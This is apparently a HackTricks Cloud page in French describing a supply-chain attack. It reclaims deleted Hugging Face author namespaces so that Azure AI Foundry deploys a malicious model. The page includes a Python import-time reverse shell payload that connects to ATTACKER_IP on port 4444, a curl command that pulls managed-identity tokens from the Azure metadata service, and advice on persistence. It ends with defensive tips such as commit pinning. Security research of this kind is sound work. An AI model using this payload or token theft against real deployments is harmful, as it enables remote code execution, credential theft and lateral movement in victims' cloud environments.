Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Scénario
- Azure AI Foundry Model Catalog inclut de nombreux modèles Hugging Face (HF) pour un déploiement en un clic.
- Les identifiants de modèle HF sont Author/ModelName. Si un author/org HF est supprimé, n'importe qui peut se réenregistrer sous ce nom d'auteur et publier un modèle avec le même ModelName au legacy path.
- Les pipelines et catalogs qui récupèrent uniquement par nom (sans commit pinning/integrity) résoudront vers des repos contrôlés par l'attaquant. Quand Azure déploie le modèle, le code du loader peut s'exécuter dans l'environnement de l'endpoint, offrant une RCE avec les permissions de cet endpoint.
Cas courants de takeover HF :
- Ownership deletion : ancien chemin 404 jusqu'au takeover.
- Ownership transfer : ancien chemin 307 vers le nouvel author tant que l'ancien author existe. Si l'ancien author est ensuite supprimé et réenregistré, le redirect casse et le repo de l'attaquant sert au legacy path.
Identifier des namespaces réutilisables (HF)
bash
# Check author/org existence
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
# Check model path
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover
Flux d'attaque de bout en bout contre Azure AI Foundry
- Dans le Model Catalog, trouvez des HF models dont les auteurs originaux ont été supprimés ou transférés (ancien auteur retiré) sur HF.
- Réenregistrez l'auteur abandonné sur HF et recréez le ModelName.
- Publiez un repo malveillant contenant du loader code qui s'exécute à l'import ou nécessite trust_remote_code=True.
- Déployez le legacy Author/ModelName depuis Azure AI Foundry. La plateforme récupère le repo de l'attaquant ; le loader s'exécute à l'intérieur du container/VM de l'endpoint Azure, entraînant une RCE avec les permissions de l'endpoint.
Exemple de fragment de payload exécuté à l'import (pour démonstration seulement) :
python
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
Remarques
- Les déploiements AI Foundry qui intègrent HF clonent et importent typiquement des modules de repo référencés par la config du modèle (par ex., auto_map), ce qui peut déclencher l'exécution de code. Certains chemins exigent trust_remote_code=True.
- L'accès correspond généralement aux permissions de managed identity/service principal de l'endpoint. Considérez-le comme un point d'appui d'accès initial pour l'accès aux données et les mouvements latéraux au sein d'Azure.
Conseils post-exploitation (Azure Endpoint)
- Énumérez les variables d'environnement et les MSI endpoints pour récupérer des tokens:
bash
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
- Vérifier le stockage monté, les artefacts de modèle et les services Azure accessibles avec le token acquis.
- Envisager la persistence en laissant des poisoned model artifacts si la plateforme re-pulls depuis HF.
Conseils défensifs pour les utilisateurs d'Azure AI Foundry
- Épingler les modèles à un commit lors du chargement depuis HF:
python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
- Répliquer les modèles HF vérifiés dans un registre interne de confiance et déployer à partir de celui-ci.
- Scanner en continu les codebases et les defaults/docstrings/notebooks à la recherche d'Author/ModelName codés en dur qui ont été supprimés/transférés ; les mettre à jour ou les pin.
- Valider l'existence de l'auteur et la provenance du modèle avant le déploiement.
Heuristiques de reconnaissance (HTTP)
- Auteur supprimé : author page 404 ; legacy model path 404 jusqu'au takeover.
- Modèle transféré : legacy path 307 vers un nouvel auteur tant que l'ancien auteur existe ; si l'ancien auteur est ensuite supprimé et réenregistré, legacy path sert du contenu d'attaquant.
bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
Références croisées
- Voir la méthodologie plus large et les notes sur la chaîne d'approvisionnement :
Références
- Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)
- Hugging Face: Renaming or transferring a repo
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud